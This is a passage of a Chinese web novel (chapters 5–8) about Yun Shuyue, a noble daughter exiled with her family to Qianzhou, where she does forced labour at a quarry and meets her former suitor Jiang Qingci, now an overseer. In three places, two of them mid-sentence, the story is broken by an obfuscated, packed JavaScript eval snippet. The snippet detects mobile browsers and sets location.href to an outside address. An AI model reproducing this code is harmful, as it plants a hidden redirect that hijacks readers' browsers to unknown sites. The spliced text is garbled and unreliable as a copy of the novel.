云鸿祯抬起头看见从远处跑来的妹妹,用口型叫她快跑,云舒月往前跑的脚步一滞,是啊,她现在掉头还来得及。 她便立刻装作与此事无关的样子,逆着凑上来看热闹的人群往远处走。 身后的哭泣声与呵斥声钻进她的脑袋里,脚步放缓,她低头看着手中的烟紫色裙摆,微微颤抖。 她转过身,看见了奔逃的家仆,看见了眼巴巴望着她的诗筠。 然后她任由官兵卸下了她的金钗,拆除了她的绫罗,为她拷上枷锁。 黔州的路途很难很远,她也不知为何,自愿踏上了这一程。 或许是突然想起了,那同样被流放到黔州的江家人。 5. 第 5 章 枷锁的木质轮廓紧紧箍住了她的手腕,云舒月双手动弹不得,她觉得眼前的一切及其荒谬。 她看见曾经一起品茶对诗的小姐们从轿撵上下来,远远地看她,皱着眉,用丝帕捂着口鼻,随后交首接耳,谈论着什么。 云舒月微微颤抖着,双唇失了血色,她承受不住这些。 她珍爱的首饰被扯了下来,精心养护的乌黑发丝被撕扯得乱糟糟的,她几乎不顾上疼了,她的脸上发着燥,过了一会儿,那些疼痛感席卷上来。 “嘶~”极轻地哼了一声。 她垂头别过了一阵推搡,诗筠扑腾着挡在她跟前:“别碰小姐!” 云舒月躲在清净处尽力调整自己的两根手腕,晨起刚用玫瑰精油细细护养过的一双手,几乎是瞬时就被磨破了皮,发着刺痛。 她看见远处跌跌撞撞跑过来一道鲜亮的明黄色身影,是苏樱。 苏樱眼睛瞪得很大,见到她的一刹那,眼眶红透了。 “云姐姐,怎么会这样?” 云舒月神色复杂地看着苏樱,此时官兵正在从她家里一箱一箱的往外抬金银财物。 事情发生得太突然了,她家几乎没任何时间做准备。 她想起了江清辞,往常江家还在的时候,京中若有大事发生,她总能提前得知一二。 真是树倒猢狲散。 云舒月冷眼扫向苏樱:“你兄妹二人做的事情,装什么傻。” 苏樱圆圆的脸蛋儿急得通红,双手无力垂落:“云姐姐,我真的什么也不知道。” 云舒月后肩忽的被狠狠撞了一下,疼得她差点倒下去。 那官兵恶狠狠道:“该上囚车了!皇上下令,天黑之前,必须将你们一家送出城。” 为了少挨些碰撞,云舒月艰难地迈着步子,自己往囚车上走。 苏樱绕过官兵的阻碍,她是肃国公嫡女,无人敢碰她。 她挤到云舒月跟前,硬往她手心里塞了一大袋碎银子,抽噎着道:“云姐姐,一定要照顾好自己,我年纪还小,许多事情都看不明白,你原谅我,你比我聪明,将来一定能再寻出一条路来的。” 那一大袋碎银子被悄悄藏进了云舒月的裙摆里,云舒月伸手探去,那上面湿哒哒的还温热着,再一抬眼,苏樱脸上挂着泪珠儿。 苏樱一直仰慕的江三公子和进京初认识的好友云舒月相继被流放,对她的打击不小。 云舒月努了努嘴,没说出话来,她忽然觉得,她自己也不够聪明,这半生绞尽脑汁追求名声和荣华富贵,到头来却一场空。 眼下仇人的妹妹就在眼前,她竟也分不清是真情还是假意。 一家子终于还是上路了。 云舒月脚上的珍珠绣鞋没有被夺去,但这鞋子太薄太软了,出了京城后,一家人被赶下囚车,这一路都要靠双腿行走。 没走几步,鞋面上的珍珠被刮花了,掉的掉,烂的烂。 再往后,她的脚底□□裂土块和尖锐石子铺成的路磨得生疼。 绣花鞋底部逐渐烂掉。 阿兄脱下了自己的鞋给她,他那天正好在京郊打马球,穿的是皮质马靴。 趁着官兵停下来休息时,大树底下,云舒月脱下了绣鞋,一双圆润细腻的脚丫子被放了出来,脚侧边却磨出了大大小小的水泡,原本红润的指甲也有些微微泛紫。 她掌着阿兄的手臂,小心翼翼地将双脚放进了宽大厚实的马靴里,有牛皮鞋底承力,脚底舒服了不少,她捏着鼻子“嗯”了一声:“哥哥,你的鞋子好臭。” 云鸿祯挠了挠头:“都什么时候了,妹妹,你就别讲究这些了。” 云舒月皱眉看着阿兄的赤脚,又往四周寻了寻,看见孙姨娘的儿子,也是她的庶弟,云茂学。 “阿兄穿什么呢?” 她幽幽问道,声音很轻很柔。 “五弟的鞋子阿兄可穿得?” 父亲纳了三房姨娘,总共又生了两个庶女,一个庶子。 当初母亲自是不乐意,云舒月也不高兴自己多了弟弟妹妹,可父亲说:“无论是庶弟还是庶妹,都是你们俩的后盾,要学会接纳和利用,而不是一味排斥。” 也因此,云舒月并不认为叫庶弟把他的鞋子让给嫡兄有什么问题。 又接连走了两日,虽说换了鞋,可云舒月的脚还是受不住,水泡被磨破了又磨出新的水泡,结成了血痂。 诗筠看得心疼,小声道:“小姐走慢些。” 走慢些哪儿行啊,稍慢一步,那些人的鞭子就抽上来了。 她疼得几乎要失去知觉了。 五弟云茂学没了鞋子,没走多久的路,脚底就渗出血来。 云鸿祯要把鞋子还给他,云舒月无奈,叫着两个庶妹一起,找路过的农妇讨要了草鞋的编织方法。 两个妹妹学会了,她却没学会,她又指使着两个妹妹替家里所有人编织了备用的草鞋。 阿兄拿到草鞋时还夸她了:“妹妹做得好。” 暑日高悬,空气滚烫,在往南走的这一路上,日光灼烧着大地上的一切。 云舒月的嗓子干得快要冒烟了,她更不知道她的皮肤已经成了什么样子。 汗水不断涌出又干涸,脚步却一刻不敢停,她甚至不知道自己能坚持到哪一步。 每天分到手中的水粮极少,不过是叫他们吊个命,云舒月一次又一次地感到绝望,从前的那些追求都成了云烟,她此时不过是想放肆地喝一口水,吃一顿饱饭。 在坚持不住的时候,她摸了摸裙摆里藏着的银子,偷偷取出来一粒,趁人不注意时到农家换了些水粮回来。 她先给母亲和阿兄分了,又分了些给父亲。 父亲一边喝水一边夸她:“与国公府苏樱交好的这件事,你办得好。” 云舒月得了夸奖,却一点也没开心起来。 她扯起嘴角干笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032980|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两声,他们四人是利益共同体,至于三位姨娘和她们的孩子,也不在父亲的考虑范围之内。 虽说云明旭一向宠爱柳氏,可这生死关头,仅剩的水粮也不愿意分给她们。 清凉的水灌进嗓子里,舒服极了,云舒月发誓,自己将来一定要过得好,但很快又泄了气。 路过两个庶妹时,云舒月从兜里掏了颗银子出来,递给她们:“藏着花吧。” 两个庶妹的眼睛瞪大了望着她,发着亮,云舒月极其受用。 两个月以来,云舒月总能偷偷花些银子出去,这一路虽难熬,倒也走了下来。 后半程她几乎是在阿兄的背上度过的,她垂头看着阿兄脖颈上的汗珠一滴又一滴的渗出。 虽说监管他们的那些官兵各个做出凶神恶煞的模样,手中还拎着鞭子,却一次也没抽到他们身上过。 云舒月认为,是自己家人识时务,知道怎么做对自己有利,一路都很乖顺听话。 “到了黔州,你们归钦工处看管,司隶校尉受圣命之托,持节在此监管流放人员修建行宫,你们在此等着。” 云家一行人被安排着站在行宫门前等候,前面是一片巨大的工地。 他们垂着头,不敢抬头看,更不知司隶校尉是何等人物。 往后这位便是他们的顶头上司。 一对训练有素的士兵各个手持长枪经过,步伐整齐,气势汹汹。 护着一位身着黑色锦袍,袍角绣着金线勾勒的威严兽纹的人经过。 “都给我垂头!保持肃穆!” 随着一声大喝,云家众人头都垂到了胸前,云舒月看见那人腰间悬挂着令牌和佩剑。 她的头发乱糟糟的,一张脸布满了脏污,几乎看不出从前的模样了,她此时只想赶紧被带到住处,好让她歇歇脚,若能给顿饱饭吃,那就更好了。 行宫最高处可俯瞰整个施工场地的地方,有几排简易却是这里最豪华的房屋的木屋,门口两侧各有一名手持长枪的士兵站岗。 进入大门,是一个宽敞的院子,地面铺着平整的石板,正对大门的主屋,一张宽大的案桌上整齐摆放着工程图纸、名册以及各类公文。 领军孙开步入这里,拱手道:“校尉,云家的罪犯已如期带到,还请您指示后续安排。” 江清辞面前是一幅密密麻麻标注着各种符号的地图,他转过身,眉头并不松展。 “西边不是还剩几间草屋么,将他们安顿在那儿吧,明日再叫他们干活,就先,从采石场的活儿开始干吧。” 孙开领命走后,江嘉懿从后屋绕出来,“啧啧,人一到,你立马带着一列兵马从行宫门前绕了一圈回来,别以为我不知道你那小心思,西边的草屋不好住,叫他们住东边的石屋吧。” 江清辞起身俯瞰底下事物,“我要他们平安顺利地走完了这一程,已经是仁至义尽了。” “况且,云家的罪状,并不无辜。” 6. 第 6 章 一家子被领到一排茅草屋前,比起这一程以来的每日风餐露宿,眼前屋子的状况竟也不让人感到难过了。 云舒月身上早已换了麻布做成的衣衫,那条她一向最喜爱的烟紫色纱裙早被过路的石子刮坏了。 看着眼前破败的屋子,母亲率先挽起袖子,带着三个姨娘一起忙碌起来。 云舒月与父亲对视一眼,都看见了对方眼中的苦涩,一路走来实在太累,还来不及感慨什么,一家人的当务之急是吃一顿饱饭。 可惜这里也并没有饱饭让他们吃。 一人领了一个破口的碗。 “每日辰时、申时在哨所前放饭,过时不候。” 一张破旧的木桌歪歪斜斜立在角落,旁边是一把缺了靠背的椅子。 押送他们的人走后,云舒月当即瘫软下来,一屁股坐在了那把烂椅子上,发丝凌乱地散落在脸颊两侧,双腿肆意伸展着,鞋子上满是泥泞。 她伸脚将两只鞋子甩了下去,露出一双满是伤疤的脚。 刚开始磨出的伤痕都已经结了痂,后来走习惯了,倒也没再生出新的伤口来。 她搓了搓脸,原本细腻柔嫩的肌肤如今带着些粗粝的触感,心中满是绝望。 母亲安慰她:“月儿五官就生得美,皮肤早晚能再养回来的。” 原本就为了追求纤纤细腰而一直控制吃食的云舒月,现在腰更细了,下巴尖得仿佛一捏就能折断,眼窝凹陷了些,给她添了丝楚楚可怜的韵味。 头发乱糟糟地垂落在瘦削的肩头,脖颈倒还是一如既往地高高昂着。 “要到申时了,咱们赶紧去打饭吧。” 王姨娘捧着饭碗道。 一家连带着诗筠共十一口人,十一只碗,唯独云舒月和云明旭坐着动也没动。 就连云鸿祯也跟着打饭去了。 云舒月手臂瘫在那歪斜的桌子上,将整颗头倒了上去。 她有诗筠替她打饭,父亲自有三位姨娘替他操持一切。 云明旭瞅了她一眼:“还是你聪明,提早将诗筠认作了义姐。” 云家其余奴仆都被发卖了出去,前途未卜,虽说流放也不是什么好前途,但至少保命不难,云舒月认为自己并未拖累诗筠。 很快,打饭的人都回来了,可惜有两只碗是空的。 “那儿的人说,一个人只能打一碗粥。” 云舒月和云明旭都怔住了。 王姨娘只好将自己那碗粥推给云明旭,自己与女儿共用一碗,诗筠也将自己那碗粥推给云舒月。 云明旭端起碗就喝了,云舒月扶着碗愣了愣,道:“我现在再去打一碗回来吧。” 诗筠忙拦住她:“小姐,别去了,粥已经放空了。” 那人说的过时不候,就是真的过时不候。 “咕叽咕叽……” 云舒月捂住肚子,诗筠只把粥往她跟前推。 最后一人喝了一半,王姨娘与云梓莹也是一人喝了一半。 母亲和哥哥都让了一些给她,但云舒月没要。 饭后,林书柔叫着自家丈夫的三个小妾继续收拾屋子。 林书柔骨子里是极坚韧的一个人,倒是柳姨娘哼哼唧唧地不乐意多干活。 晚上,云舒月捂着饥肠辘辘的肚子,终于还是在稻草铺成的通铺上安然入睡了。 半夜,父亲和阿兄接连响起的一声比一声高的鼾声,愣是没吵醒她分毫。 已经很久没有睡过这么长的一觉了,乍然睁开眼时,云舒月感到一阵恍惚,仿佛醒来时自己还在香风阵阵的闺房里。 待她清醒过来后,外面的领队已经吹着哨子在号令他们集合了。 她来不及思考过多,她知道在这种地方不听话准没有好果子吃。 便麻溜地爬了起来。 也不知今日迎接自己一家的是什么。 待一家子老的老小的小都站到了坑洼不平的泥土地面上,面前的领队声音极其严厉:“上面的指示下来了,你们云家暂且被分到采石场干活。” 云舒月皱着眉头,默默在心里头揣度,采石场的活算好的还是不好的。 她看见东边山上的行宫里有人抬着巨大的木头,也有人跪在屋檐上砌瓦,西边的田野里还有人扛着锄头锄地…… 还不等她思考多少,便被人推搡着往采石场走去。 踏入这里,入目便是一片混乱与荒芜。 她看到稀稀拉拉的人佝偻着背挥舞着铁镐和撬棍。 采石场四周是连绵起伏的石山,山体因长期开采,呈现出狰狞的模样,裸露的岩石层层叠叠,像是巨兽张开的獠牙。 云舒月倒退了两步,下意识想离开这里,她手中忽的被塞入了一把开裂的铁镐,那人推了她一把,她往前一个踉跄,险些没站住,连忙稳了稳身形,好让自己别头脸着地摔在地上。 热浪滚挟着石粉扑面而来,让人喘不过气,云舒月用袖子捂住口鼻,两个妹妹紧紧挨在她身后。 他们一家被分配了不小的任务。 “你们几个男人,拿铁锤负责敲击岩石,女人负责分拣石块和搬运。” 云明旭有心想偷懒,他有妻有子的,何苦要自己干活呢。 可惜流放的罪犯可不分高低贵贱,谁都要干一样的活儿。 云明旭当惯了养尊处优的大老爷,一路流放也不过是动了动腿,真要他干事,他干得磨磨蹭蹭的。 “擦啦”一声,一根鞭子毫不客气地挥了上来。 “啊!” 云明旭怒瞪回去,没想到真有人敢打他。 “要是再让我发现谁在偷懒,可别怪我手上鞭子不长眼。” 云舒月虎口处被那铁镐磨得生疼,此时被吓了一大跳,默默心疼了一会儿父亲,也弯腰开始干活了。 她一边挑拣质地达标的碎石,将其捡起来放入竹篮中,一边捂着咕噜直叫唤的肚子。 指尖被锋利的碎石磨破了皮,又出了血,王姨娘恰好看见,递了手帕给她,又安慰了她一会儿:“二小姐皮肤娇嫩,一开始是要苦些,习惯了就好了。” 王姨娘出身贫寒,是被家里人卖到府里来做妾的,一向是个老实性子。 她给云舒月摊了摊手,叫她瞧,“我的手就没事儿。” 云舒月看得一愣,垂头打量起自己的手指尖,是太脆弱了些,等皮肤磨得糙了,自然就不会这么容易破皮了。 就像她一路上反复磨破又结痂的脚一样。 她就像无知无觉一般,垂头干了许久的活,她眼睁睁看着自己的指尖和掌心出血越来越多,染红了石块儿,却不觉得疼,她只是在想,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032981|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真就要这样认命吗。 她忽的止住了动作,她天生娇贵,凭什么要把一身皮肤磨出粗糙的茧。 她抬起头探寻。 昨日那个头领提了一句“司隶校尉”,想想也知道,她沦落至此,这般人物她攀附不上。 她如今身在采石场,总有个掌管采石场的长官,她从前能攀附上江清辞,现在就能攀附上别的人。 待以后寻机彻底脱了壳,谁又知道她在这里发生的故事。 只要能让她吃饱穿暖,她什么都愿意做,一如以往对荣华富贵的追求。 她当真扫眼望去,十步便有一位拎着鞭子的执法者,负责看管他们。 她默默摇了摇头,这些人的权利不够。 要这些人的上司。 江清辞穿着一件青布长衫,袖口随意挽在小臂处,领口的盘扣规规矩矩地扣着。 他刚与手下从一旁的山头绘制完地形回来,手上还捧着一本册子,正手执毛笔写画着什么。 云舒月看见他时,头瞬时埋了下去,她蹲在一个石子坑里,心里忽的涌上一股难言的酸楚。 虽说江云二家都是流放黔州,可黔州很大,她没想过能再碰到他。 她又悄悄抬头看去,看样子他似乎未受什么苦楚,他虽穿着布衣,站在那里却宛如一颗苍松,微风拂过时,衣袂轻轻飘动,仿佛与这周围的山川融为一体。 就是此时,云舒月也不得不咂舌,江三公子着锦袍时光风霁月,着布衣时洒脱淡然,真不愧是他。 反观她自己,她摊开两只手掌心看了看,突然就呜咽住了,泪珠砸在手心里,刺得疼,她提起袖子抹眼泪,这粗布袖子又磨得她眼皮生疼,索性用手抹,手指尖上还有刚刚捡石块蹭的灰,这一下,沙子又迷了眼,泪珠掉得更凶了。 一路走来都没掉过一滴泪,此时缩在这小石子坡背后,她的双肩一耸一耸的,这些日子瘦了太多,竟也好长时间没人发现这里藏了个娇小的人。 过了一会儿,她听见有人喊着要她们把采集的石块运到另一处去。 她便赶紧起身,垂着头,没敢看江清辞一眼。 她不好意思见他。 她听见有人找江清辞汇报些什么,她猜测,江家的境遇应是比她家要好,分配的或许是些读书人的活儿,甚至是些管人的活儿。 她扛着石块咬牙快步前行,小脸憋得通红。 母亲一把拉住了她,小声道:“你看那个人像不像江三。” 林书柔的手指往那处指了指,云舒月闭着眼道:“他就是。” 她现在只想快逃。 林书柔又道:“他朝这边走过来了。” 一旁拎鞭子的小头领指着他们几个道:“新到的这几个姓云的,喜欢偷懒,得一直盯着他们才行。” 云舒月头皮连着整个背部的皮肤一紧,她听见耳后熟悉的声音传来:“哦,是吗,那是该好好盯着。” 她扛在肩上那袋石块一直往下滑,手快揪不住了,随后便“扑通”一声,砸在了地上。 只好转过头,四目相对之时,她恨不得挖个地洞将自己埋进去。 “呵呵,清辞哥哥,好久不见啊。” 她没忍住撩了撩额前早已被汗水浸透的发,将碎发别在耳后,与以前不同的是,她的头垂得很低。 7. 第 7 章 云舒月本是绝不想出来见人的,可今晚要是再吃不饱饭,她会饿疯的。 天知道她今天究竟干了多少活。 她将缺了口的木碗捧在胸前,眼巴巴望着前面排成长龙的队伍,母亲和诗筠将她夹在中间,哥哥站在母亲身后。 父亲今日仍是没来,一家人里唯独他今天被抽了一鞭子,收工后,说自己要躺下养病,仍然叫王姨娘分他一碗粥。 王姨娘是个胆小怯懦的性子,也不敢叫柳姨娘和孙姨娘帮她一起分担。 只是可怜了王姨娘的女儿云梓莹,不得不跟母亲分食半碗粥了。 好在,今晚的伙食竟格外的好,除了一人一碗粥以外,还额外给了个黄面馍馍。 云舒月抱着到手的馍馍,黑亮的眼珠子冒着光,一家四口找了个大树底下蹲着吃饭。 王姨娘一行人路过时,云舒月说了句:“在这儿吃完了再回去吧,给我爹留上一碗粥就行。” 王姨娘迟疑了一瞬,便蹲下跟他们一起吃了,她跟女儿一人吃了一个馍馍,又分了一碗粥。 云舒月觉得这黄面馍馍格外香,就是有些喇嗓子。 她瞥见山坡后头冒出来一道青色身影,吓得倒吸了一口气,连忙把最后一口粥咽下肚,抹了抹嘴,转身就躲到树后面去。 云鸿祯撇头看了她一眼:“妹,你躲什么呢?” 云舒月蹲坐在树根后头,后脑勺抵在树上,大口喘着气,随后脸颊连带着耳根通红一片。 江清辞还真是阴魂不散,她揪着自己身上打着补丁的麻布衣裳,还有乱糟糟的头。 再想想以前说过的话,她真是想把自己舌头给咬下来。 云鸿祯看向来人,眼睛睁大:“江三公子,你们家也被分配过来修行宫吗?” 江清辞点了点头,极淡的“嗯”了一声。 在这种地方碰到熟人,就算以前闹过不愉快,那也难免让人感到亲切。 云鸿祯屁股往一旁挪了挪,“咱们两家可真是有缘啊,”他拍了拍地面,“你也过来坐,吃过饭没?” 云舒月的碗还摆在那儿,云鸿祯“啧”了一声,将碗拿起来:“你瞧她,碗底都没吃干净。” 说完,自己端着妹妹的碗将碗底剩的粥舔了个精光。 云舒月闭着眼睛,两条眉毛已经紧紧揪在一起,绝望。 她听见江清辞回了哥哥一句:“吃过了。”他的声音还是那般清淡柔和,仿佛还是京中养尊处优的贵公子。 云鸿祯笑了笑:“那就好,要不然过了那个点儿,可真就吃不上饭了。” “咕叽咕叽……” 两个男人齐齐回头,望向树后。 云舒月捂着肚子撒着腿跑开了。 她后脑勺扎着的两条黑辫子一掂一掂的,像一对慌乱飞舞的黑蝴蝶,衣角被风高高扬起。 云鸿祯道:“我妹妹腿脚比以前好多了,从前稍走两步路就喊累。” 江清辞沉默着点头,他知道,她曾经因为在花园里多晒了会儿太阳,娇喘连连地晕倒在他怀里过。 回到住处,所有人都默契地没有告诉云明旭今晚还发了个馍馍的事情。 云明旭不甚满足地喝了一整碗粥,还是饿。 他扫视了一圈,又将目光放在孙氏身上,孙氏性子泼辣又厉害,还给他生了个儿子,还是算了,看来看去,便只有柳氏了。 他便指着柳氏:“明日起,你也给我剩半碗饭回来。” 柳姨娘是楼里的舞女出身,本是贱籍,云明旭看中她的美貌便给她赎了身娶为姨娘,平常甚爱柳氏千娇百媚。 柳姨娘小脸霎地白了,女儿云千雁直往她身后躲。 云舒月和林书柔两个眼观鼻鼻观心,一声也不吭。 云明旭又盯上站在云舒月身后的丫鬟诗筠,一个丫鬟吃那么多做什么。 云舒月忙道:“父亲,女儿不够吃,要从诗筠那里分的。” 云明旭只好作罢,便说好了,每日王姨娘这边分他一碗,柳姨娘那边分他半碗。 至于他自己为什么不去打,他可是一家之主,没听说一家之主需要自己去打饭的。 “还是吃不饱?不应该啊,我翻遍了案宗,过往的流放人员最多就是给发一碗粥外加一个黄面馍馍。”江嘉懿一边翻案宗一边道。 江清辞换了身月白色丝质曳地长袍,端坐于案前,专注于手中事务,淡淡道: “他们吃不饱饭,干活就没力气,行宫就迟迟修建不好,皇上那边就交不了差,你这个伙食把总自己掂量着办。” 江崇礼看不惯小儿子每日无所事事,便叫他做了个把总的活儿,专管流放人员伙食,江嘉懿怕自己做不好又被父亲责骂,便时常与三侄商量着来。 “三侄,我都听你的。” 是夜,天空中寥寥几颗星,光微弱。 云舒月偷偷从床上爬起来,远处连绵起伏的山脉在月光下呈现出朦胧的轮廓,犹如蛰伏的巨兽。 她往被窝里缩了缩,过了一会儿,还是踩着草鞋下了地。 在采石场的山上时,她看见这片草屋后头的不远处有一条河。 屋外一片死寂,脚踩着地上的枯草时,发出沙沙的声音。 找不到蜡烛,她便就这样摸着黑,一路到了河边,期间摔倒了两次,脚崴了一次,好在不严重,爬起来还能接着走。 她寻了块儿破布,蘸了些河水,她静静望着河面,借着微弱的月光,仔细擦拭着脸。 许久未照过铜镜了,河水哗哗地浮动着,她的脸庞也跟着浮动,她看到了自己那两条弯弯的眉毛,还有天生便微微上扬着的眼角,漆黑的眼珠。 河面上映照出的身影瘦弱又倔强。 她轻轻整理鬓边打结的发丝,又笨拙地将整头发丝拿布条挽成一个髻。 梳完头、擦完脸以后,她又摸到一旁的树上,采了些红色的像宝石一样的浆果。 天还没亮,一家人又被齐齐带到了采石场。 云明旭昨天因为偷懒刚被抽了一鞭子,便知道这里的人不是好惹的,今天忍着伤痛也不敢懈怠分毫。 云舒月一早到炉灶旁捡了几根木炭,叫诗筠给她描了眉。 又趁着没人注意她,掏出昨晚采的浆果放进嘴里嚼了嚼,将汁液抹在了唇上。 默默做完这一套操作,她这才干劲十足地开始干活。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032982|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今天头领叫他们搬沙子,从一座山头搬到另一座山头去。 谁要是扛得慢了,鞭子就会抽上来。 云舒月默默在想,像自己这样的美人,那官兵大哥应该也舍不得抽她,再不济,她也不是不能赔张笑脸给他。 她余光里瞥见江清辞来了,她的头便昂得高了些,风吹着她的碎发,沙子扛在她的肩上。 昨天受伤的手掌扛沙子时又蹭破皮了,她眉头都没皱一下。 像是在说:“看,我好得很,我过得很好。” 可是,可是江清辞今天怎么变样了…… 她定睛去看,他今日竟穿着他往常最喜爱的云纹锦袍,他的头发如黑色的绸缎般,被一丝不苟地梳理整齐,在头顶束成一个高高的髻,就像以往一样,用羊脂玉冠束发。 公子从容挺拔,与周围格格不入。 他的视线扫过来时,云舒月连忙别开了头,驮着沙子往前扛。 她的头垂得很低,她的脑子乱乱的,江清辞看起来,真的比她过得要好得多。 凭什么呢,为什么呢。 她心里不平衡,同样都是流放,他还高贵着,似乎在这个地方做着一个掌权者的角色,她却只能低眉顺眼才能活下来。 她有一瞬间觉得,不蒸馒头争口气,自己再也不理他了,任他过得再好又如何,这个世界上总有一个人不理他,这个人就是她。 仿佛她不理他,就能争回一口气似的。 可是,可是,她首先想吃饱饭,若他还有几件锦袍衣裳,能分她一些布料就好了,若他真是掌权者,不管大还是小,要是能再一次成为她的靠山,那就更好了。 这般想着,她扛着沙子往他那处靠去。 如果必定要有一个人先示弱讨好,那她就做那个人。 她要换取自己想要的东西。 清辞哥哥应当,大概,还是喜欢她的吧。 在恰好路过他时,她的手一滑,腿一软。 伴随着一声娇弱的轻呼,身板如同被风吹倒的柳枝,朝着公子身上倒去。 “哎呀,清辞哥哥,我扛不动了呢。” 声音娇软着绕了几个弯,一双水汪汪的大眼睛望着公子,眨巴了两下,就要渗出盈盈泪光。 江清辞一动不动,承受着她倒在自己身上的力道,她先是趴在他的肩头,随后身子朝后仰去。 他眯起眼审视她,嘴角的笑容冷淡,没什么温度。 在她倒下去之前,他伸手掌住了她的腰。 手背的青筋凸起了一瞬,她是真的毫无顾忌地在往后倒。 他的眉头皱起来,一言不发,她的腰细了好多,一手便能掐住,整个身子轻飘飘的,轻得叫他心惊。 那袋沙子坠在地上,被石子划破了,沙子源源不断地哗哗流出。 他扶正了她,云舒月像是没骨头似的,太阳晃得眼晕,索性直接晕了过去。 江清辞盯着她殷红殷红的唇,艳丽得不像话。 他伸手去撇,在她唇上拂花了一片唇色。 他指尖微缩,放在鼻尖嗅了嗅,神色突变。 “云舒月你不要命了,赤珠莓是有毒的!” 8. 第 8 章 “不会吧不会吧,三侄你不会还对那无情无义的女人余情未了吧。” 江清辞捏了捏眉心,站在山顶的木屋前望着远处的梯田,这是黔州特有的地貌。 “你胡说些什么?” 不一会儿,驻扎行宫的老郎中提着药箱出来,到江清辞跟前恭敬行了一礼。 “她没事吧。”风吹着他一丝不苟的发。 “好在云小姐误食得少,只是会头晕、乏力一会儿,最多再呕吐、腹泻几日,您不用担心。” 江清辞皱起了眉:“那她要什么时候才能返工,修建行宫的工程可耽误不得。” 郎中闻言怔了怔,头埋得更低了,寻思就里头床上那位的小身板,工程上有她没她有区别吗。 江嘉懿手拍上江清辞的肩:“还是让她先好好养两天吧,你瞧她瘦的,之前怕是吃了不少苦。” 江清辞冷眼看他:“若不是你自作主张把云家人送到这里来,事情哪有这么麻烦。” 云家人活干得又慢,吃得又多,叫他这个持节校尉难做。 江嘉懿翻了他一眼,就看不惯他这装模做样的样子。 云家人下工后,终于赶过来接人了。 “江三,月儿她怎么样了?” 林书柔急匆匆赶过来,脸上的皮肤被连日的太阳晒得通红,那双眼睛依旧坚韧得发亮,跟云舒月的很像。 她身上穿着洗得发白、打着补丁的粗布麻衣,曾经保养得宜的一双手如今四处裂开口子,指甲缝里藏着污垢。 江清辞犹豫了半晌,还是点头叫了她一声:“伯母。” 他推开门邀她进去,沉声道:“她没什么大碍,放心吧。” 林书柔松了一口气,走至门前,看到脚底光滑无垢的地面,硬生生止住了脚步。 她忽然意识到,眼前的江三非她想象的那样,同是流放,境遇不同,也有阶级之分。 江清辞的声音在她耳后响起:“伯母,怎么不进去。” “江……三公子,我就不进去了,劳烦你将我女儿带出来,我带她回去。” 江家的罪状是结党营私、欺君罔上,明眼人心里都清楚,分明是皇上看他们家不顺眼了,自此所有世家贵族都要夹着尾巴做人。 可云家却不一样,林书柔明白,自家丈夫那是实打实的编造了虚假开支,贪了国库的银子。 那段时日,她女儿头上戴的珠翠宝石都不重样的。 全家人都被这虚假的繁华富丽遮了眼,她虽时常劝诫着丈夫,可她一个妇道人家如何做得了夫君的主。 好在一直都风平浪静,她渐渐也就不管夫君在外面的事了。 谁曾想事情竟有爆发出来的一天呢。 流放的这一路上,她觉得这样也好,至少她再也不用亏心了,如今每日做了活,吃着朴实的粮食,心里也格外满足呢。 就是家中其他人的心思,她还不太了解。 江清辞走至床边,伸手推了推还闭着眼的云舒月。 郎中都说了,症状只是头晕而已,不是真的晕过去了。 “你母亲来接你了,起来。” 他收回手,蹙额,她竟瘦成这样了,肩膀有些硌手。 云舒月缓缓睁开眼,眼睛先是朦胧中看见他时忽然一亮,随后朝他露出一个甜甜的笑,然后有些茫然地四周望了望,道:“清辞哥哥,这里是哪里呀。” 江清辞撇开头:“你母亲接你来了,起来跟她回去吧。” 他的头转向另一侧,眼睫垂下,稍有些落寞,她纵是与以前一模一样的笑容,也干瘪了许多。 云舒月有些失望,她伸手要拽他的手,江清辞却突然起身,背着她,“我还有事,就先走了,你别让你母亲久等了。”然后快步走了出去。 衣摆甩得毫无感情。 句句都是赶人,他现在就这么厌恶她吗。 云舒月揉了揉还有些发晕的额角,诗筠从外面扑进来:“小姐,奴婢好担心你。” 被诗筠扶着,云舒月缓缓从床上坐起来,这才有精力打量这处屋子。 这是一间不大的木屋,装饰简单质朴,被收拾得井井有条,她有些落寞地垂下头,江清辞过得竟比她好这么多。 诗筠搀着她的手臂,将她的脚从被单里掏出来,套上草鞋。 江清辞在屋檐角下静静看着,云舒月终于还是跟家人走了。 祈言从他身后绕出来:“公子,我能回我的房间了吗?” “嗯,记得换回你的床单。” 三人往西边的茅草屋走,夕阳西下,远处有黄狗在吠。 王姨娘在树根底下朝她们挥了挥手:“打好饭了,来这里吃。” 云舒月数了数碗,惊诧道:“咦,今天怎么打到了这么多碗粥,还有肉。” 